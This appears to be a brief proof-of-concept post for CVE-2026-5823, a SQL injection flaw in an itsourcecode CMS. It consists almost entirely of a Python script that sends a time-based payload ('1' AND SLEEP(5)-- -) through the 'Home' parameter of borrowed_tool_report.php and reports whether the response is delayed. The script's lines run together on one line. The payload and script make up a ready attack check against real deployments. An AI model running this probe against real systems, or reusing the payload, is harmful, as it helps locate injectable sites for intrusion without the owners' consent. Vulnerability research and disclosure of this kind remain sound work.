CVE-2026-5823: itsourcecode CMS SQL注入漏洞

import requests def check_sqli(url): """ PoC for CVE-2026-5823 SQL Injection in borrowed_tool_report.php """ target_url = f"{url}/borrowed_tool_report.php" # Simple payload to test for time-based or error-based injection payload = "1' AND SLEEP(5)-- -" params = { "Home": payload } try: response = requests.get(target_url, params=params, timeout=10) # Analyze response time or content to confirm vulnerability print(f"Status Code: {response.status_code}") print(f"Response Time: {response.elapsed.total_seconds()}s") if response.elapsed.total_seconds() >= 5: print("[+] Potential SQL Injection vulnerability detected!") else: print("[-] Vulnerability not confirmed via timing.") except requests.RequestException as e: print(f"Error: {e}") if __name__ == "__main__": target = "http://example.com" check_sqli(target)